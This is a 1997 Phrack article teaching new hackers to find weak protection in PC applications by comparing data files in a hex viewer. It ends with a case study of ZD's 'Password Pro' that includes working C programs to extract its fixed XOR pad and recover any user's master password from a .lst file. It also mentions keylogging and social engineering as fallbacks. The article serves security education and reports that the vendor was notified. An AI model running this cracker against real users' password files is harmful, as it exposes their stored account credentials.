home *** CD-ROM | disk | FTP | other *** search
- .oO Phrack 50 Oo.
-
- Volume Seven, Issue Fifty
-
- 12 of 16
-
-
- PC Application Level Security
-
- by
-
- Sideshow Bob
-
-
- I. Introduction
-
- In the past, hackers interested in security have focused most of their
- efforts in finding and exploiting security holes in networking related
- operating systems, protocols, and applications. I would like to suggest
- another arena of hacking that might be of interest to emerging hackers.
- Although the Internet is certainly a great place to hack, you can also
- find a world of hacking sitting right on the computer at your desk. This
- article is really aimed at a broad and young audience, for cryptographers
- of tomorrow, not today.
-
- The fundamental problem with the lack of security in applications today
- is that people just don't care. Companies that produce security software
- do care about security, but most software available today has some
- component of security in them, written by programmers who do not
- understand or care about security. When a consumer uses a piece of
- software that has advertised security features, they do not have the
- knowledge or power to determine if the security in that software is
- effective, or waiting to be exploited. There are literally thousands of
- applications out there for PCs right now, and many of them have security
- problems just waiting to be discovered.
-
- In this article, I hope to provide interested new hackers the motivation
- and knowledge to go out and explore PC applications they have access to in
- order to determine if they have security problems. Giving out exploits is
- definitely NOT the goal of this article, I decided to provide one example
- to show the process at work, but I leave it up to the readers to go out and
- hack for themselves.
-
- If you find security holes of your own in PC applications, I strongly
- encourage you to inform the companies involved, and post your findings in
- an appropriate public forum. If you learn from this article, helping the
- security community by letting other people know about security problems in
- PC software is the greatest compliment you could give me.
-
-
- II. Finding an Candidate
-
- Just exactly what I am talking about when I say PC application security?
- First off, I am talking about mass consumer operating systems. Unix and
- NT are being examined by many security people today in great depth for
- security holes, and there is definitely a good reason for that, but this
- article is focused on the computers sitting at most people's desks.
- Windows and Mac-OS are both widely used legitimate operating systems.
-
- Some security people might tell you if you care about security, don't
- run Windows '95. That is an easy answer, it is far easier to build secure
- applications on top of more secure operating systems. But that does not
- address the realistic security threats that exist on these operating
- systems. The fact is, nobody is going to ruin your life, steal your
- money, or cause millions in harm solely because of a vulnerability in one
- of these programs. But as a consumer, you should expect and DEMAND that
- when someone tells you their program is secure that they aren't flat out
- lying to your face. When someone tells you your personal information you
- enter into a program is protected by a password, you should DEMAND that
- without that password, your data is protected from your family, your
- friends, and even a friendly visit from your local law enforcement agency.
-
- What programs should you look for with security holes? Quite simply,
- anything that claims to have any security in it. The most obvious tip-off
- is anything with passwords. In addition, anything that has users,
- restricts access, or claims to protect your data. Encryption and
- authentication are big buzzwords that someone is messing with security.
- Look on your hard drive, look in computer stores, look on the Internet for
- shareware and freeware (if its free, its ok if it lies about what it does?
- I don't think so.). Not every program has any element of security in it,
- but lots do. Not every program you find will have security holes, but if
- you spend enough time and look at enough programs, you are going to find a
- lot that do. I would especially encourage you to not limit yourself to
- high-profile, popular applications. Certainly those are viable
- candidates, but there are a lot more choices than that. If you have found
- an application, now you are ready to hack!
-
-
- III. Finding Vulnerabilities
-
- A. Application Purpose
-
- You have found a candidate application, and now you want to find out if
- it is insecure. The first thing you want to do is to learn how the
- program works. The worst of the worst applications will allow you to
- subvert security directly from within the application. An example of this
- was the first version of Microsoft "Bob". After incorrectly entering your
- password too many times, Bob would wisely figure out that you forgot your
- password and ask you if you wanted to change it.
-
- Determine what the goal of the security in the application is.
- Generally this will be to protect sensitive information in the program.
- For the candidate application, determine what information is being
- protected. It might only be a small sub-set of the data, or perhaps all
- of it. Often the product won't tell you what it is trying to protect, so
- you will need to do some digging inside the program to discover it. Some
- programs might let anyone read data, but only authorized users modify it.
- Other programs might let anyone enter in new data, but only authorized
- users read what has been entered. Another program might let anyone read
- and enter in new data, but only let authorized users delete individual
- entries (in an insecure OS, anyone could delete the entire database, but
- that does not imply one could selectively remove information from a
- database).
-
- B. User Interaction
-
- Next, figure out all the different elements of the program that allow
- the user to interact with the security module of the program. Where does
- it ask for usernames? Where does it ask for passwords? Can I change a
- password? Can I remove a password? Can I password protect different
- parts of a file? Do I have any options as to what kind of security is
- employed? Can I disable security altogether? Do I protect a file, a
- database, a user? This is the typical user level interaction with the
- program. I would not even attempt to start digging at a lower level of
- the program until you are an expert on how the program functions at the
- user interface level.
-
- C. Digging Deeper
-
- Now that you have comprehensively examined and understand the program at
- the normal user level, you are ready to start hacking, and that means
- figure out how the program works. Now, if you are extremely fortunate,
- you may have source code to the program and will be able to simply read
- that source and fully understand how it works. Another method for
- figuring out how the program works is to disassemble the program and read
- through the assembly code of the program as it executes. This is a
- reasonable method and sometimes the best, but it requires a thorough
- understanding of assembly language and in order to make this article
- accessible to anyone interested, I am going to ignore that possibility.
- If you are interested in doing so, I suggest picking up a good book on
- assembly and a high quality debugging tool.
-
- If you have the most typical application of security in your
- application, the security is meant to protect some sensitive information.
- Somewhere on your hard drive, in some form, is that sensitive information:
- Find It! Usually this isn't hard, you install the application somewhere
- and if it is well behaved it doesn't put the data in some random location
- on your hard drive (but be forewarned, some do exactly to confuse you at
- this step). Start out with a fresh installation of the software on your
- drive, and then enter some data into the application, and see what
- changed. Now you should know what file(s) data gets written out to.
-
- D. File Modifications
-
- Look at the directory listings, sometimes the filename itself is a clue.
- Save directory listings out to a file, and then make some modification in
- the program (and save), and make another directory listing. For each
- listing, write down what you did between that and the last listing. Now
- you have a bunch of directory listings, which may or may not help you.
- You need to try and interpret this data to tell if there is anything you
- can learn about how the program works. In the worst case (for you),
- absolutely nothing will change. Usually at least timestamps on the files
- will change, telling you what files were written to.
-
- Does every user or database you enter get written to a new file which is
- the name of the user, or does it all get written to one file? Does each
- new entry create a new file? Does one file get bigger by a fixed amount
- of size for each entry you add? Is each file created the same size? Do
- you recognize the extension of the file?
-
- E. File Contents
-
- If you have made any progress at all by this point, you should be able
- to narrow down what file or files you need to examine in more depth. The
- best thing to do is to just look at the files. There are two things you
- need at this point: a good hex viewer and a good diff utility. The hex
- viewer should let you know look at both the ASCII text and binary contents
- of the file; for DOS something like the shareware List utility is good. A
- diff utility will take 2 or more files as input and tell you what has
- changed between them. This will automate telling you what has changed in
- the files when you make a change in the data.
-
- Quite simply, use these two utilities. Take a look inside the files
- that you KNOW have to contain the sensitive data. Now if a program is
- meant to protect you from reading the data and your hex viewer is sitting
- there and you see it all in front of your face, you have found a problem.
- If you change an 'a' to a 'b' in the application and one byte of data is
- incremented one byte in the file, you are getting closer. In many cases,
- you will need to enter in a lot of data into the application and compare
- numerous resulting files in order to figure out exactly what and where
- things change.
-
- If data is being protected, the worst case (for you) is that it is
- actually being encrypted with a known secure algorithm. Does that mean it
- is secure? No, through thorough cryptanalysis, serious computing power,
- or implementation flaws, one might still be able to read the data. But
- this sort of analysis is left to professionals in that field, and not the
- target of this article. For you, you may have to find alternative methods
- to gain access which are probably far easier to begin with. This might
- mean keystroke logging, social engineering, or simply trying to brute
- force attack the situation.
-
- A more common situation is that some, but not all of the data is being
- encrypted. You will very likely be able to extract sensitive information
- that the users of the program thinks is sensitive and should be secure,
- but the application programmer's decided was not part of the sensitive
- date. Not clearly communicating what is being protected and what isn't
- should be an indication that everything is being protected, but that is
- very often not the case at all.
-
- Another common situation is that the data is being poorly encrypted.
- This is usually the case if you can't read the data in text in the files,
- but you are able to pick up clear patterns of what is being changed. Good
- encryption should make data that looks 'random', if what you are looking
- at looks decidedly not random, there is a problem.
-
-
- IV. Exploiting Vulnerabilities
-
- I will finish up this article with an example of how to work through this
- process from finding a program to exploiting the vulnerability. Ziff-Davis
- Interactive has been advertising and offering a free Windows utility known
- as "Password Pro" for the sole purpose of letting Windows users maintain
- passwords in a central database securely. On the Internet today, people
- (not to mention hackers) have accounts on numerous machines and managing the
- passwords for all of these systems is not a trivial task. With the increasing
- popularity of requiring registration to gain access to all the features of a
- web site, users are accumulating more and more accounts than ever before.
-
- In the past, users have taken on several solutions to this problem. Some
- people use the same account name and password everywhere they go. Obviously
- this presents a major security problem, as there is no way to guarantee the
- security of any one of the accounts that they use, much less all of them. If
- their password is compromised, it is an even more daunting task to change the
- password on every site that is being used. Still, this requires a user
- maintain a list of systems they have accounts on, and with more people using
- the net everyday, it is inevitable that some people will attempt to use the
- same account name.
-
- Another possible solution people have used is to maintain a cleartext file
- on their system, or a physical notebook that has a list of usernames and
- passwords. Using paper and pen certainly will eliminate hackers over the
- Internet from gaining access, but if you have ever seen War Games you know
- that crackers are not above physically snooping around your home or office
- in order to find out passwords. Leaving a plaintext file on your system is
- an even worse solution. If you are running an insecure operating system
- such as DOS or Windows '95, anyone that can sit down at your computer will
- be able to read it. Even with Windows NT or a Unix operating system, you do
- not want anyone that can gain administrator/root access to the machine to
- immediately gain access to every machine on the Internet that you have an
- account on.
-
- While there is no perfect solution preventing someone with root access to
- the box you are using from snooping your keystrokes or sniffing your sessions,
- it is certainly more work to do so than to simply read a cleartext file. So,
- it is clear that for many users on the Internet today, there is a definite
- use for the type of utility that ZD Net is providing. Further, as will be
- explained in this article, there are definitely fairly secure methods of
- writing and using such a database. It is unfortunate that Ziff-Davis has
- implemented this tool in such a manner as to actually make it easier for
- people to obtain users' account names and passwords. The author of this
- utility was informed through appropriate channels of this vulnerability
- in his software and as of the release of this article, an upgraded version
- with a well known encryption algorithm should be available.
-
- All of my work with regards to Password Pro was done by modifying accounts
- and entries through the normal operation of the program, and then viewing the
- changes that were made to the corresponding .lst files. At no point did I
- attempt to disassemble the Password Pro code, although that would have
- resulted in the same ultimate findings.
-
- For each user on a machine that wishes to use Password Pro, a file is
- created in the Password Pro directory with a filename of <username>.lst. When
- you first start-up Password Pro, it prompts you for a username and password.
- When you enter a filename, it looks for a file with the .lst extension matching
- that username. If it finds the file, it then reads the password that you are
- prompted for, and attempts to validate the password with the one stored in the
- file. If the file does not exist, the user is asked if he wants to create a
- new account; if so he can then enter and confirm a password and a file is
- created.
-
- The file format of the user .lst files is proprietary. When the file is
- first created, it is 32 bytes in length. Users can then add entries to the
- file which contain a system name, account name, password, and password
- expiration. Adding a single entry to a new .lst file increases the file size
- to 166 bytes.
-
- Viewing the file showed that the Password Pro password did not show up
- in plaintext anywhere in the file, nor did any of the passwords for the
- systems that users had entered. System names and account names were however
- in plaintext; my first disappointment in examining the security of the program.
-
- My first thoughts with regards to the file format was simply that the
- password was stored in the first 32 bytes of the file, and the entries were
- stored in fixed length structures beyond that. If each entry's password was
- actually encrypted with the password that was entered by the user, there would
- be no way to directly view the contents of the file. At this point in time,
- I had no idea if this was the case or not, but if it proved to be true, there
- would still be other options available in attempting to read the entries, such
- as a dictionary attack.
-
- To test my first theory, I created a user, blue, that I would attempt to
- break the security on. I used the password "password", obviously a poor
- choice for a real application but since I was not going to mount a dictionary
- attack at this point, it was irrelevant. I added an entry for this user for
- a fictitious system, account name, and password. I then created a user,
- hacker, with no password on his account, and on database entries. On my
- filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file.
- In order to merge the two files into one, I used the commands:
-
- C:\PASSWORD> tail --bytes=134 blue.lst > blue.end
- C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst
-
- I then loaded up Password Pro and attempted the username 'hacked'. It
- prompted for a password and when I attempted none, it prompted me again. It
- was clear that cracking this program was not going to be quite that trivial.
-
- It was clear that all of the information necessary to attack the password
- was being stored somewhere in those first 32 bytes. The easiest way to
- scramble the password would be a bit-shift (rot-13) or to XOR the password
- with a single character. If this was true, the password 'password' should
- show the two consecutive 's' characters as being the same value. I looked
- through the hex dump of the file to see if this appeared to be true, and
- it wasn't.
-
- The next complication in encryption is to XOR the files with a 'pad'. This
- would mean that each letter in the password would be XOR-ed with a different
- byte, up to the length of the pad, and then it would start over XORing with
- the first letter of the pad, and so on. If this were the case, changing one
- letter in my password would only change one byte in the file. I created a
- password of 'pastword' and diffed the files; only 1 byte changed. This looked
- promising, so it was time to extract the 'pad' from the file. For an eight
- letter password, I need to find out what the 8 bytes being used to XOR the
- file are. The way to do this is to simply take a file the program creates
- with a known password, and XOR the file with the password, resulting in the
- pad. This reverses what the program originally did, which was XOR the
- password with the pad to create the file.
-
- <++> pwp-pad.c
- /* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97)
- *
- * Syntax: pwp-pad filename.lst password
- *
- * Given a database file created by Password Pro and the password entered to
- * protect the file, outputs the pad being used by Password Pro to encrypt
- * files.
- *
- */
-
- #include <stdio.h>
-
- main(int argc, char **argv) {
- FILE *fpass;
- char pbuf[32], inbuf[32];
- char *password, *pptr;
- int i;
-
- /* check command line arguments */
- if(argc < 3) {
- fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]);
- exit(1);
- }
-
- password = argv[2];
-
- /* open the file */
- fpass = fopen(argv[1],"r");
- if(!fpass) {
- fprintf(stderr, "Unable to open file %s\n", argv[1]);
- exit(1);
- }
-
- /* read from file */
- if(fread(pbuf, 1, 32, fpass) != 32) {
- fprintf(stderr, "Unable to read password entry from file.\n");
- exit(1);
- }
-
- /* output pad by xor file contents with password from command line */
- printf("Pad: ");
- for(i=0; i<32 && pbuf[i]; i++) {
- pbuf[i] ^= password[i];
- printf("%x ", 0xff & pbuf[i]);
- }
- printf("\n");
- }
- <-->
-
- Now that we have the pad, the next step is to use that pad to actually
- crack the contents of someone else's file. The way we do that is by taking
- someone's lst file that we don't know the password for, and XORing the start
- of the file with the pad. This will result in the password that they stored
- the file with, which we can then enter into the program to view the contents.
-
- <++>
- /* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97)
- *
- * Syntax: pwp-crack filename.lst
- *
- * Outputs the password entered by the user of Password Pro to protect others
- * from reading the contents of their account and password database.
- *
- */
-
- #include <stdio.h>
-
- main(int argc, char **argv) {
- FILE *fin;
- char inbuf[32];
- char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 };
- int i;
-
- if(argc < 2) {
- fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]);
- exit(1);
- }
-
- fin = fopen(argv[1],"r");
- if(!fin) {
- fprintf(stderr, "Unable to open %s for reading\n", argv[1]);
- exit(1);
- }
-
- if(fread(inbuf, 1, 32, fin) != 32) {
- fprintf(stderr, "Unable to read password from file.\n");
- exit(1);
- }
-
- printf("Password: ");
- for(i=0; i<32 && inbuf[i]; i++) {
- inbuf[i] ^= pad[i % sizeof(pad)];
- printf("%c", inbuf[i]);
- }
- printf("\n");
- }
-
- <-->
-
-
- V. Conclusion
-
- If you are interested in any of this, I strongly encourage you to go out
- and find holes and write exploits on your own. I'm sure Phrack would love
- to hear about any findings you make, so let us know how you are doing.
-
- If you are a software developer and are interested in avoiding become a
- victim of one of Phrack's budding hackers, or just want to learn more about
- practical crytography, I suggest you pick up a copy of Bruce Schneier's
- Applied Cryptography available at any big bookstore.
-
- EOF
-